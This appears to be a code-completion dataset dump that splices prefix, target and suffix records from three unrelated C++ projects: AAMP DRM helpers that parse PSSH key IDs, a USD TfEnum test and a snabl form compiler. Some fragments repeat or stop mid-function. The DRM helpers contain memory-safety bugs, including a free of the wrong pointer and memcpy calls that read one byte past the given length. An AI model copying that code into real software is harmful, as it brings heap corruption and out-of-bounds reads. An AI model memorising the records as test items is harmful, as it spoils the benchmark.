DumpBlob(key_id, 16); } } return key_id; } unsigned char * aamp_ExtractWVContentMetadataFromPssh(const char* psshData, int dataLength, int *len) { uint32_t header = 28; unsigned char* content_id = NULL; uint32_t content_id_size = (uint32_t)((psshData[header] & 0x000000FFu) << 24 | (psshData[header+1] & 0x000000FFu) << 16 | (psshData[header+2] & 0x000000FFu) << 8 | (psshData[header+3] & 0x000000FFu)); AAMPLOG_INFO("%s:%d content meta data length : %d", __FUNCTION__, __LINE__,content_id_size); content_id = (unsigned char*)malloc(content_id_size + 1); memset(content_id, 0, content_id_size + 1); strncpy(reinterpret_cast<char*>(content_id), psshData + header + 4, content_id_size); *len = (int)content_id_size; return content_id; } unsigned char * aamp_ExtractDataFromPssh(const char* psshData, int dataLength, const char* startStr, const char* endStr, int *len) { int endPos = -1; int startPos = -1; unsigned char* contentMetaData = NULL; char* cleanedPssh = (char*) malloc(dataLength); int cleanedPsshLen = 0; for(int itr = 0; itr < dataLength; itr++) { if(psshData[itr] != 0) { cleanedPssh[cleanedPsshLen++] = psshData[itr]; } } startPos = aamp_FindSubstr(cleanedPssh, cleanedPsshLen, 0, startStr); if(startPos >= 0) { aamp_FindSubstr(cleanedPssh, cleanedPsshLen, startPos, endStr, &endPos); if(endPos > 0 && startPos < endPos) { *len = endPos - startPos - 1; contentMetaData = (unsigned char*)malloc(*len + 1); memset(contentMetaData, 0, *len + 1); strncpy(reinterpret_cast<char*>(contentMetaData),reinterpret_cast<char*>(cleanedPssh + startPos + 1), *len); } } free(cleanedPssh); return contentMetaData; }
#include "AampDRMutils.h" #include "_base64.h" #include <cjson/cJSON.h> #include <uuid/uuid.h> #define KEYID_TAG_START "<KID>" #define KEYID_TAG_END "</KID>" #define KEY_ID_SZE_INDICATOR 0x12 DrmData::DrmData() : data(NULL), dataLength(0) { } DrmData::DrmData(unsigned char *data, int dataLength) : data(NULL), dataLength(dataLength) { this->data =(unsigned char*) malloc(dataLength + 1); memcpy(this->data,data,dataLength + 1); } DrmData::~DrmData() { if(data != NULL) { free(data); data = NULL; } } unsigned char * DrmData::getData() { return data; } int DrmData::getDataLength() { return dataLength; } void DrmData::setData(unsigned char * data, int dataLength) { if(this->data != NULL) { free(data); } this->data = (unsigned char*) malloc(dataLength + 1); this->dataLength = dataLength; memcpy(this->data,data,dataLength + 1); } void DrmData::addData(unsigned char * data, int dataLength) { if(NULL == this->data) { this->setData(data,dataLength); } else { this->data = (unsigned char*) realloc(this->data, this->dataLength + dataLength + 1); assert(this->data); memcpy(&(this->data[this->dataLength]),data,dataLength + 1); this->dataLength = this->dataLength + dataLength; } } char *aamp_Base64_URL_Encode(const unsigned char *src, size_t len) { char * b64Src = base64_Encode(src, len); char* urlEncodedSrc = (char*)malloc(sizeof(char) * strlen(b64Src)); for (int iter = 0; iter < strlen(b64Src); iter++) { if (b64Src[iter] == '+') { urlEncodedSrc[iter] = '-'; } else if (b64Src[iter] == '/') { urlEncodedSrc[iter] = '_'; } else if (b64Src[iter] == '=') { urlEncodedSrc[iter] = '\0'; break; } else { urlEncodedSrc[iter] = b64Src[iter]; } } free(b64Src); return urlEncodedSrc; } unsigned char *aamp_Base64_URL_Decode(const char *src, size_t *len, size_t srcLen) { int b64Len = (((srcLen / 4) + 1) * 4) + 1; char *b64Src = (char *) malloc(sizeof(char)* b64Len); b64Src[b64Len - 1] = '\0'; b64Src[b64Len - 2] = '='; b64Src[b64Len - 3] = '='; for (int iter = 0; iter < strlen(src); iter++) { if (src[iter] == '-') { b64Src[iter] = '+'; } else if (src[iter] == '_') { b64Src[iter] = '/'; } else { b64Src[iter] = src[iter]; } } *len = 0; unsigned char * decodedStr = base64_Decode(b64Src, len); free(b64Src); return decodedStr; } static int aamp_FindSubstr(const char* psshData, int dataLength, int pos, const char* substr, int *substrStartPos = NULL) { int subStrLen = strlen(substr); int psshIter = pos; int subStrIter = 0; bool strMatched = false; while (psshIter < dataLength - (subStrLen - 1)) { if (psshData[psshIter] == substr[subStrIter]) { if(substrStartPos && subStrIter == 0) { *substrStartPos = psshIter; } subStrIter++; if (subStrIter == subStrLen) { strMatched = true; break; } } else { subStrIter = 0; } psshIter++; } if(strMatched) { return psshIter; } else { if(substrStartPos) { *substrStartPos = -1; } return -1; } } static void aamp_SwapBytes(unsigned char *bytes, int pos1, int pos2) { unsigned char temp = bytes[pos1]; bytes[pos1] = bytes[pos2]; bytes[pos2] = temp; } static void aamp_ConvertEndianness(unsigned char *original, unsigned char *guidBytes) { memcpy(guidBytes, original, 16); aamp_SwapBytes(guidBytes, 0, 3); aamp_SwapBytes(guidBytes, 1, 2); aamp_SwapBytes(guidBytes, 4, 5); aamp_SwapBytes(guidBytes, 6, 7); } unsigned char * aamp_ExtractKeyIdFromPssh(const char* psshData, int dataLength, int *len, DRMSystems drmSystem) { unsigned char* key_id = NULL; if(drmSystem == eDRM_WideVine) { uint8_t psshDataVer = psshData[8]; AAMPLOG_INFO("%s:%d wv pssh data version - %d ", __FUNCTION__, __LINE__, psshDataVer); if (psshDataVer == 0){ uint32_t header = 0; if (psshData[32] == KEY_ID_SZE_INDICATOR){ header = 33; }else if(psshData[34] == KEY_ID_SZE_INDICATOR){ header = 35; }else{
; header = 33; } uint8_t key_id_size = (uint8_t)psshData[header]; key_id = (unsigned char*)malloc(key_id_size + 1); memset(key_id, 0, key_id_size + 1); memcpy(reinterpret_cast<char*>(key_id), psshData + header + 1, key_id_size); *len = (int)key_id_size; AAMPLOG_INFO("%s:%d wv version %d keyid: %s keyIdlen: %d", __FUNCTION__, __LINE__, psshDataVer, key_id, key_id_size); if(gpGlobalConfig->logging.trace) { DumpBlob(key_id, key_id_size); } }else if (psshDataVer == 1){ uint32_t header = 32; uint8_t key_id_size = 16; key_id = (unsigned char*)malloc(key_id_size + 1 ); memset(key_id, 0, key_id_size + 1); memcpy(reinterpret_cast<char*>(key_id), psshData + header, key_id_size); *len = (int)key_id_size; AAMPLOG_INFO("%s:%d wv version %d keyid: %s keyIdlen: %d", __FUNCTION__, __LINE__, psshDataVer, key_id, key_id_size); if(gpGlobalConfig->logging.trace) { DumpBlob(key_id, key_id_size); } } } else if (drmSystem == eDRM_PlayReady) { int keyIdLen = 0; unsigned char *keydata = aamp_ExtractDataFromPssh(psshData, dataLength, KEYID_TAG_START, KEYID_TAG_END, &keyIdLen); AAMPLOG_INFO("%s:%d pr keyid: %s keyIdlen: %d",__FUNCTION__, __LINE__, keydata, keyIdLen); size_t decodedDataLen = 0; unsigned char* decodedKeydata = base64_Decode((const char *) keydata, &decodedDataLen); if(decodedDataLen != 16) { AAMPLOG_ERR("invalid key size found while extracting PR KeyID: %d", decodedDataLen); free (keydata); free (decodedKeydata); return NULL; } unsigned char *swappedKeydata = (unsigned char*)malloc(16); aamp_ConvertEndianness(decodedKeydata, swappedKeydata); key_id = (unsigned char *)calloc(37, sizeof(char)); uuid_t *keyiduuid = (uuid_t *) swappedKeydata; uuid_unparse_lower(*keyiduuid, reinterpret_cast<char*>(key_id)); *len = 37; free (keydata); free (decodedKeydata); free (swappedKeydata); } else if (drmSystem == eDRM_ClearKey) { uint32_t header = 32; uint8_t key_id_count = (uint8_t)psshData[header]; key_id = (unsigned char*)malloc(16 + 1); memset(key_id, 0, 16 + 1); strncpy(reinterpret_cast<char*>(key_id), psshData + header, 16); *len = (int)16; AAMPLOG_INFO("%s:%d ck keyid: %s keyIdlen: %d",__FUNCTION__, __LINE__, key_id, 16); if(gpGlobalConfig->logging.trace) { DumpBlob(key_id, 16); } } return key_id; } unsigned char * aamp_ExtractWVContentMetadataFromPssh(const char* psshData, int dataLength, int *len) { uint32_t header = 28; unsigned char* content_id = NULL; uint32_t content_id_size = (uint32_t)((psshData[header] & 0x000000FFu) << 24 | (psshData[header+1] & 0x000000FFu) << 16 | (psshData[header+2] & 0x000000FFu) << 8 | (psshData[header+3] & 0x000000FFu)); AAMPLOG_INFO("%s:%d content meta data length : %d", __FUNCTION__, __LINE__,content_id_size); content_id = (unsigned char*)malloc(content_id_size + 1); memset(content_id, 0, content_id_size + 1); strncpy(reinterpret_cast<char*>(content_id), psshData + header + 4, content_id_size); *len = (int)content_id_size; return content_id; } unsigned char * aamp_ExtractDataFromPssh(const char* psshData, int dataLength, const char* startStr, const char* endStr, int *len) { int endPos = -1; int startPos = -1; unsigned char* contentMetaData = NULL; char* cleanedPssh = (char*) malloc(dataLength); int cleanedPsshLen = 0; for(int itr = 0; itr < dataLength; itr++) { if(psshData[itr] != 0) { cleanedPssh[cleanedPsshLen++] = psshData[itr]; } } startPos = aamp_FindSubstr(cleanedPssh, cleanedPsshLen, 0, startStr); if(startPos >= 0) { aamp_FindSubstr(cleanedPssh, cleanedPsshLen, startPos, endStr, &endPos); if(endPos > 0 && startPos < endPos) { *len = endPos - startPos - 1; contentMetaData = (unsigned char*)malloc(*len + 1); memset(contentMetaData, 0, *len + 1); strncpy(reinterpret_cast<char*>(contentMetaData),reinterpret_cast<char*>(cleanedPssh + startPos + 1), *len); } } free(cleanedPssh); return contentMetaData; }
AAMPLOG_WARN("%s:%d wv version %d keyid indicator" " byte not found using default logic", __FUNCTION__, __LINE__)
call_expression
[]
C++
pxr/base/tf/testenv/enum.cpp
DougRogers-DigitalFish/USD
d8a405a1344480f859f025c4f97085143efacb53
#include "pxr/pxr.h" #include "pxr/base/tf/regTest.h" #include "pxr/base/tf/diagnostic.h" #include "pxr/base/tf/enum.h" #include <algorithm> #include <cstdio> #include <string> using namespace std; PXR_NAMESPACE_USING_DIRECTIVE enum Condiment { SALT, PEPPER = 13, KETCHUP, NO_NAME }; enum Season { SPRING, SUMMER = 3, AUTUMN, WINTER }; static bool Test_TfEnum() { TF_ADD_ENUM_NAME(SALT, "Salt"); TF_ADD_ENUM_NAME(PEPPER, "Pepper"); TF_ADD_ENUM_NAME(KETCHUP, "Ketchup"); TF_ADD_ENUM_NAME(SPRING); TF_ADD_ENUM_NAME(SUMMER); TF_ADD_ENUM_NAME(AUTUMN); TF_ADD_ENUM_NAME(WINTER); bool foundIt; Condiment c; c = PEPPER; printf("GetName(PEPPER) returns %s\n", TfEnum::GetName(c).c_str()); printf("GetFullName(PEPPER) returns %s\n", TfEnum::GetFullName(c).c_str()); printf("GetDisplayName(PEPPER) returns %s\n", TfEnum::GetDisplayName(c).c_str()); c = TfEnum::GetValueFromName<Condiment>("KETCHUP", &foundIt); printf("GetValueFromName(\"KETCHUP\") returns %s: %d\n", (foundIt ? "true" : "false"), c); TfEnum i = TfEnum::GetValueFromFullName("Condiment::KETCHUP", &foundIt); printf("GetValueFromFullName(\"Condiment::KETCHUP\") returns %s: %d\n", (foundIt ? "true" : "false"), i.GetValueAsInt()); c = NO_NAME; printf("GetName(NO_NAME) returns %s\n", TfEnum::GetName(c).c_str()); printf("GetFullName(NO_NAME) returns %s\n", TfEnum::GetFullName(c).c_str()); c = TfEnum::GetValueFromName<Condiment>("SQUID", &foundIt); printf("GetValueFromName(\"SQUID\") returns %s: %d\n", (foundIt ? "true" : "false"), c); i = TfEnum::GetValueFromFullName("Condiment::SQUID", &foundIt); printf("GetValueFromFullName(\"Condiment::SQUID\") returns %s: %d\n", (foundIt ? "true" : "false"), i.GetValueAsInt()); string name1 = TfEnum::GetName(SUMMER); printf("name1 = \"%s\"\n", name1.c_str()); string name2 = TfEnum::GetFullName(SUMMER); printf("name2 = \"%s\"\n", name2.c_str()); string name3 = TfEnum::GetDisplayName(SUMMER); printf("name3 = \"%s\"\n", name3.c_str()); bool found; Season s1 = TfEnum::GetValueFromName<Season>("AUTUMN", &found); printf("s1 = %d, found = %s\n", s1, (found ? "true" : "false")); Season s2 = TfEnum::GetValueFromName<Season>("MONDAY", &found); printf("s2 = %d, found = %s\n", s2, (found ? "true" : "false")); TfEnum type(s2); TfEnum s3 = TfEnum::GetValueFromName(type.GetType(), "AUTUMN", &found); printf("s3 = %d, full name = %s, found = %s\n", s3.GetValueAsInt(), TfEnum::GetFullName(s3).c_str(), (found ? "true" : "false")); TfEnum s4 = TfEnum::GetValueFromFullName("Season::WINTER", &found); printf("s4 = %d, found = %s\n", s4.GetValueAsInt(), (found ? "true" : "false")); Season s5 = TfEnum::GetValueFromName<Season>("SALT", &found); printf("s5 = %d, found = %s\n", s5, (found ? "true" : "false")); vector<string> lookupNames; lookupNames.push_back("Season"); lookupNames.push_back("Summer"); lookupNames.push_back("Condiment"); lookupNames.push_back("Sandwich"); for(vector<string>::const_iterator n = lookupNames.begin(); n != lookupNames.end(); ++ n) printf("type name \"%s\" is %s\n", n->c_str(), TfEnum::IsKnownEnumType(*n) ? "known" : "unknown"); vector<string> names = TfEnum::GetAllNames<Condiment>(); std::sort(names.begin(), names.end()); printf("names associated with Condiment:\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); names = TfEnum::GetAllNames(SUMMER); std::sort(names.begin(), names.end()); printf("names associated with SUMMER:\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); names = TfEnum::GetAllNames(*TfEnum::GetTypeFromName("Season")); std::sort(names.begin(), names.end()); printf("names associated with \"Summer\":\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); TfEnum e(SUMMER); TF_AXIOM(e.IsA<Season>()); TF_AXIOM(e.GetValueAsInt() == 3); TF_AXIOM(e.GetValue<Season>() == SUMMER); return true; } TF_ADD_REGTEST(TfEnum);
#include "pxr/pxr.h" #include "pxr/base/tf/regTest.h" #include "pxr/base/tf/diagnostic.h" #include "pxr/base/tf/enum.h" #include <algorithm> #include <cstdio> #include <string> using namespace std; PXR_NAMESPACE_USING_DIRECTIVE enum Condiment { SALT, PEPPER = 13, KETCHUP, NO_NAME }; enum Season { SPRING, SUMMER = 3, AUTUMN, WINTER };
TF_ADD_REGTEST(TfEnum);
static bool Test_TfEnum() { TF_ADD_ENUM_NAME(SALT, "Salt"); TF_ADD_ENUM_NAME(PEPPER, "Pepper"); TF_ADD_ENUM_NAME(KETCHUP, "Ketchup"); TF_ADD_ENUM_NAME(SPRING); TF_ADD_ENUM_NAME(SUMMER); TF_ADD_ENUM_NAME(AUTUMN); TF_ADD_ENUM_NAME(WINTER); bool foundIt; Condiment c; c = PEPPER; printf("GetName(PEPPER) returns %s\n", TfEnum::GetName(c).c_str()); printf("GetFullName(PEPPER) returns %s\n", TfEnum::GetFullName(c).c_str()); printf("GetDisplayName(PEPPER) returns %s\n", TfEnum::GetDisplayName(c).c_str()); c = TfEnum::GetValueFromName<Condiment>("KETCHUP", &foundIt); printf("GetValueFromName(\"KETCHUP\") returns %s: %d\n", (foundIt ? "true" : "false"), c); TfEnum i = TfEnum::GetValueFromFullName("Condiment::KETCHUP", &foundIt); printf("GetValueFromFullName(\"Condiment::KETCHUP\") returns %s: %d\n", (foundIt ? "true" : "false"), i.GetValueAsInt()); c = NO_NAME; printf("GetName(NO_NAME) returns %s\n", TfEnum::GetName(c).c_str()); printf("GetFullName(NO_NAME) returns %s\n", TfEnum::GetFullName(c).c_str()); c = TfEnum::GetValueFromName<Condiment>("SQUID", &foundIt); printf("GetValueFromName(\"SQUID\") returns %s: %d\n", (foundIt ? "true" : "false"), c); i = TfEnum::GetValueFromFullName("Condiment::SQUID", &foundIt); printf("GetValueFromFullName(\"Condiment::SQUID\") returns %s: %d\n", (foundIt ? "true" : "false"), i.GetValueAsInt()); string name1 = TfEnum::GetName(SUMMER); printf("name1 = \"%s\"\n", name1.c_str()); string name2 = TfEnum::GetFullName(SUMMER); printf("name2 = \"%s\"\n", name2.c_str()); string name3 = TfEnum::GetDisplayName(SUMMER); printf("name3 = \"%s\"\n", name3.c_str()); bool found; Season s1 = TfEnum::GetValueFromName<Season>("AUTUMN", &found); printf("s1 = %d, found = %s\n", s1, (found ? "true" : "false")); Season s2 = TfEnum::GetValueFromName<Season>("MONDAY", &found); printf("s2 = %d, found = %s\n", s2, (found ? "true" : "false")); TfEnum type(s2); TfEnum s3 = TfEnum::GetValueFromName(type.GetType(), "AUTUMN", &found); printf("s3 = %d, full name = %s, found = %s\n", s3.GetValueAsInt(), TfEnum::GetFullName(s3).c_str(), (found ? "true" : "false")); TfEnum s4 = TfEnum::GetValueFromFullName("Season::WINTER", &found); printf("s4 = %d, found = %s\n", s4.GetValueAsInt(), (found ? "true" : "false")); Season s5 = TfEnum::GetValueFromName<Season>("SALT", &found); printf("s5 = %d, found = %s\n", s5, (found ? "true" : "false")); vector<string> lookupNames; lookupNames.push_back("Season"); lookupNames.push_back("Summer"); lookupNames.push_back("Condiment"); lookupNames.push_back("Sandwich"); for(vector<string>::const_iterator n = lookupNames.begin(); n != lookupNames.end(); ++ n) printf("type name \"%s\" is %s\n", n->c_str(), TfEnum::IsKnownEnumType(*n) ? "known" : "unknown"); vector<string> names = TfEnum::GetAllNames<Condiment>(); std::sort(names.begin(), names.end()); printf("names associated with Condiment:\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); names = TfEnum::GetAllNames(SUMMER); std::sort(names.begin(), names.end()); printf("names associated with SUMMER:\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); names = TfEnum::GetAllNames(*TfEnum::GetTypeFromName("Season")); std::sort(names.begin(), names.end()); printf("names associated with \"Summer\":\n"); for(vector<string>::const_iterator n = names.begin(); n != names.end(); ++ n) printf("%s\n", n->c_str()); TfEnum e(SUMMER); TF_AXIOM(e.IsA<Season>()); TF_AXIOM(e.GetValueAsInt() == 3); TF_AXIOM(e.GetValue<Season>() == SUMMER); return true; }
function_block-full_function
[ { "content": "struct TfEnvSetting<std::string>\n\n{\n\n std::atomic<std::string*> *_value;\n\n char const * _default;\n\n char const * _name;\n\n char const * _description;\n\n};\n\n\n\ntemplate <class T>\n\nvoid Tf_InitializeEnvSetting(TfEnvSetting<T> *);\n\n\n\n/// Returns the value of the specifi...
C++
src/snabl/form.cpp
codr4life/snabl
b1c8a69e351243a3ae73d69754971d540c224733
#include "snabl/env.hpp" #include "snabl/form.hpp" namespace snabl { AFormType::AFormType(string_view id): id(id) { } FormImp::~FormImp() { } Form::Form(const Form &source): type(source.type), pos(source.pos), imp(source.imp->clone()) { } namespace forms { const FormType<Fimp> Fimp::type("fimp"); const FormType<Id> Id::type("id"); const FormType<Lit> Lit::type("lit"); const FormType<Query> Query::type("query"); const FormType<Ref> Ref::type("ref"); const FormType<Rest> Rest::type("rest"); const FormType<Scope> Scope::type("scope"); const FormType<Sexpr> Sexpr::type("sexpr"); const FormType<Split> Split::type("split"); const FormType<Stack> Stack::type("stack"); void Body::dump(ostream &out) const { char sep(0); for (auto &f: body) { if (sep) { out << sep; } f.imp->dump(out); sep = ' '; } } Fimp::Fimp(Sym id, Forms::const_iterator begin, Forms::const_iterator end): id(id) { transform(begin, end, back_inserter(type_ids), [](const Form &f) -> Sym { return f.as<Id>().id; }); } Fimp::Fimp(Sym id, const Ids &type_ids): id(id), type_ids(type_ids) { } FormImp *Fimp::clone() const { return new Fimp(id, type_ids); } void Fimp::dump(ostream &out) const { out << id << '<'; char sep(0); for (auto &id: type_ids) { if (sep) { out << sep; } out << id.name(); sep = ' '; } out << '>'; } void Fimp::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &lib(env.lib()); auto pos(in->pos); auto &form((in++)->as<Fimp>()); snabl::Stack args; transform(form.type_ids.begin(), form.type_ids.end(), back_inserter(args), [&env, &lib, pos](Sym id) { auto &idn(id.name()); auto t((idn.size() == 1 && idn[0] == '_') ? &env.no_type : lib.get_type(id)); if (!t) { throw CompileError(pos, "Unknown type: " + id.name()); } return Box(*t); }); auto fn(lib.get_func(id)); if (!fn) { throw CompileError(pos, fmt("Unknown func: '%0'", {id.name()})); } if (I64(args.size()) != fn->nargs) { throw CompileError(pos, fmt("Wrong number of args: %0", {fn->id})); } auto fip(fn->get_best_fimp(args.begin(), args.end())); if (!fip) { throw CompileError(pos, fmt("Unknown fimp: %0", {fn->id})); } auto &fi(*fip); if (!fi.imp) { fi.compile(pos); } env.emit<ops::Funcall>(pos, fi); } Id::Id(Sym id): id(id) { } FormImp *Id::clone() const { return new Id(id); } void Id::dump(ostream &out) const { out << id.name(); } void Id::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in); auto id(form.as<Id>().id); auto &idn(id.name()); auto found_lib(idn.rfind('.')); Lib *lib(&env.lib()); if (found_lib != string::npos && found_lib > 0 && idn[found_lib-1] != '.') { const auto lib_id(env.sym(idn.substr(0, found_lib))); lib = env.get_lib(lib_id); if (!lib) { throw CompileError(form.pos, fmt("Unknown lib: %0", {lib_id})); } id = env.sym(idn.substr(found_lib+1)); } if (idn.front() == '@') { in++; env.emit<ops::Get>(form.pos, env.sym(idn.substr(1))); } else if (isupper(idn.front())) { in++; auto t(lib->get_type(id)); if (!t) { throw CompileError(form.pos, fmt("Unknown type: %0", {id})); } env.emit<ops::Push>(form.pos, env.meta_type, t); } else { auto m(lib->get_macro(id)); if (m) { m->call(in, end, env); } else { in++; auto fn(lib->get_func(id)); if (!fn) { throw CompileError(form.pos, fmt("Unknown id: '%0'", {id})); } env.emit<ops::Funcall>(form.pos, *fn); } } } Lit::Lit(const Box &val): val(val) { } FormImp *Lit::clone() const { return new Lit(val); } void Lit::dump(ostream &out) const { val.dump(out); } void Lit::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in++); env.emit<ops::Push>(form.pos, form.as<Lit>().val); } Query::Query(const Form &form): form(form) {} FormImp *Query::clone() const { return new Query(form); } void Query::dump(ostream &out) const { form.imp->dump(out); out << '?'; } void Query::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in); auto &qf(form.as<forms::Query>().form); if (&qf.type == &forms::Lit::type) { env.emit<ops::Eqval>(qf.pos, qf.as<Lit>().val); } else if (&qf.type == &forms::Id::type) { if (isupper(qf.as<forms::Id>().id.name().front())) { auto &id(qf.as<forms::Id>().id); auto t(env.lib().get_type(id)); if (!t) { throw CompileError(qf.pos, fmt("Unknown type: %0", {id})); } env.emit<ops::Is>(qf.pos, *t); } else { env.compile(qf); env.emit<ops::Eqval>(qf.pos); } } else { throw CompileError(qf.pos, fmt("Invalid query: %0", {qf.type.id})); } in++; } Ref::Ref(const Form &form): form(form) {} FormImp *Ref::clone() const { return new Ref(form); } void Ref::dump(ostream &out) const { out << '&'; form.imp->dump(out); } void Ref::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &rf(f.as<forms::Ref>().form); if (&rf.type == &Scope::type || &rf.type == &Sexpr::type) { const auto is_scope(&rf.type == &Scope::type); auto &start(env.emit<ops::Lambda>(f.pos, is_scope)); if (is_scope) { env.begin_regs(); } env.compile(rf.as<Body>().body); if (is_scope) { env.end_regs(); } env.emit<ops::Return>(f.pos); start.start_pc = start.next; start.end_pc = env.ops.size(); } else { throw CompileError(rf.pos, fmt("Invalid ref: %0", {rf.type.id})); } } FormImp *Rest::clone() const { return new Rest(body.begin(), body.end()); } void Rest::dump(ostream &out) const { out << ", "; Body::dump(out); } void Rest::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { env.compile((in++)->as<Rest>().body); } FormImp *Scope::clone() const { return new Scope(body.begin(), body.end()); } void Scope::dump(ostream &out) const { out << '{'; Body::dump(out); out << '}'; } void Scope::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &sf(f.as<Scope>()); env.emit<ops::Scope>(f.pos); env.begin_regs(); env.compile(sf.body); env.end_regs(); env.emit<ops::ScopeEnd>(f.pos); } FormImp *Sexpr::clone() const { return new Sexpr(body.begin(), body.end()); } void Sexpr::dump(ostream &out) const { out << '('; Body::dump(out); out << ')'; } void Sexpr::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { env.compile((in++)->as<Sexpr>().body); } FormImp *Split::clone() const { return new Split(body.begin(), body.end()); } void Split::dump(ostream &out) const { out << '|'; Body::dump(out); } void Split::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &sf(f.as<Split>()); env.emit<ops::Split>(f.pos, sf.offs); env.compile(sf.body); env.emit<ops::SplitEnd>(f.pos); } FormImp *Stack::clone() const { return new Stack(body.begin(), body.end()); } void Stack::dump(ostream &out) const { out << '['; Body::dump(out); out << ']'; } void Stack::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &b(f.as<Stack>().body); bool split(b.empty() || &b.front().type != &forms::Id::type || b.front().as<forms::Id>().id != env.sym("..")); if (split) { env.emit<ops::Split>(f.pos); } env.compile(split ? b.begin() : b.begin()+1, b.end()); env.emit<ops::Stack>(f.pos, split); } } }
#include "snabl/env.hpp" #include "snabl/form.hpp" namespace snabl { AFormType::AFormType(string_view id): id(id) { } FormImp::~FormImp() { } Form::Form(const Form &source): type(source.type), pos(source.pos), imp(source.imp->clone()) { } namespace forms { const FormType<Fimp> Fimp::type("fimp"); const FormType<Id> Id::type("id"); const FormType<Lit> Lit::type("lit"); const FormType<Query> Query::type("query"); const FormType<Ref> Ref::type("ref"); const FormType<Rest> Rest::type("rest"); const FormType<Scope> Scope::type("scope"); const FormType<Sexpr> Sexpr::type("sexpr"); const FormType<Split> Split::type("split"); const FormType<Stack> Stack::type("stack"); void Body::dump(ostream &out) const { char sep(0); for (auto &f: body) { if (sep) { out << sep; } f.imp->dump(out); sep = ' '; } } Fimp::Fimp(Sym id, Forms::const_iterator begin, Forms::const_iterator end): id(id) { transform(begin, end, back_inserter(type_ids), [](const Form &f) -> Sym { return f.as<Id>().id; }); } Fimp::Fimp(Sym id, const Ids &type_ids): id(id), type_ids(type_ids) { } FormImp *Fimp::clone() const { return new Fimp(id, type_ids); } void Fimp::dump(ostream &out) const { out << id << '<'; char sep(0); for (auto &id: type_ids) { if (sep) { out << sep; } out << id.name(); sep = ' '; } out << '>'; } void Fimp::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &lib(env.lib()); auto pos(in->pos); auto &form((in++)->as<Fimp>()); snabl::Stack args; transform(form.type_ids.begin(), form.type_ids.end(), back_inserter(args), [&env, &lib, pos](Sym id) { auto &idn(id.name()); auto t((idn.size() == 1 && idn[0] == '_') ? &env.no_type : lib.get_type(id)); if (!t) { throw CompileError(pos, "Unknown type: " + id.name()); } return Box(*t); }); auto fn(lib.get_func(id)); if (!fn) { throw CompileError(pos, fmt("Unknown func: '%0'", {id.name()})); } if (I64(args.size()) != fn->nargs) { throw CompileError(pos, fmt("Wrong number of args: %0", {fn->id})); } auto fip(fn->get_best_fimp(args.begin(), args.end())); if (!fip) { throw CompileError(pos, fmt("Unknown fimp: %0", {fn->id})); } auto &fi(*fip); if (!fi.imp) { fi.compile(pos); } env.emit<ops::Funcall>(pos, fi); } Id::Id(Sym id): id(id) { } FormImp *Id::clone
{ throw CompileError(form.pos, fmt("Unknown lib: %0", {lib_id})); } id = env.sym(idn.substr(found_lib+1)); } if (idn.front() == '@') { in++; env.emit<ops::Get>(form.pos, env.sym(idn.substr(1))); } else if (isupper(idn.front())) { in++; auto t(lib->get_type(id)); if (!t) { throw CompileError(form.pos, fmt("Unknown type: %0", {id})); } env.emit<ops::Push>(form.pos, env.meta_type, t); } else { auto m(lib->get_macro(id)); if (m) { m->call(in, end, env); } else { in++; auto fn(lib->get_func(id)); if (!fn) { throw CompileError(form.pos, fmt("Unknown id: '%0'", {id})); } env.emit<ops::Funcall>(form.pos, *fn); } } } Lit::Lit(const Box &val): val(val) { } FormImp *Lit::clone() const { return new Lit(val); } void Lit::dump(ostream &out) const { val.dump(out); } void Lit::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in++); env.emit<ops::Push>(form.pos, form.as<Lit>().val); } Query::Query(const Form &form): form(form) {} FormImp *Query::clone() const { return new Query(form); } void Query::dump(ostream &out) const { form.imp->dump(out); out << '?'; } void Query::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in); auto &qf(form.as<forms::Query>().form); if (&qf.type == &forms::Lit::type) { env.emit<ops::Eqval>(qf.pos, qf.as<Lit>().val); } else if (&qf.type == &forms::Id::type) { if (isupper(qf.as<forms::Id>().id.name().front())) { auto &id(qf.as<forms::Id>().id); auto t(env.lib().get_type(id)); if (!t) { throw CompileError(qf.pos, fmt("Unknown type: %0", {id})); } env.emit<ops::Is>(qf.pos, *t); } else { env.compile(qf); env.emit<ops::Eqval>(qf.pos); } } else { throw CompileError(qf.pos, fmt("Invalid query: %0", {qf.type.id})); } in++; } Ref::Ref(const Form &form): form(form) {} FormImp *Ref::clone() const { return new Ref(form); } void Ref::dump(ostream &out) const { out << '&'; form.imp->dump(out); } void Ref::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &rf(f.as<forms::Ref>().form); if (&rf.type == &Scope::type || &rf.type == &Sexpr::type) { const auto is_scope(&rf.type == &Scope::type); auto &start(env.emit<ops::Lambda>(f.pos, is_scope)); if (is_scope) { env.begin_regs(); } env.compile(rf.as<Body>().body); if (is_scope) { env.end_regs(); } env.emit<ops::Return>(f.pos); start.start_pc = start.next; start.end_pc = env.ops.size(); } else { throw CompileError(rf.pos, fmt("Invalid ref: %0", {rf.type.id})); } } FormImp *Rest::clone() const { return new Rest(body.begin(), body.end()); } void Rest::dump(ostream &out) const { out << ", "; Body::dump(out); } void Rest::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { env.compile((in++)->as<Rest>().body); } FormImp *Scope::clone() const { return new Scope(body.begin(), body.end()); } void Scope::dump(ostream &out) const { out << '{'; 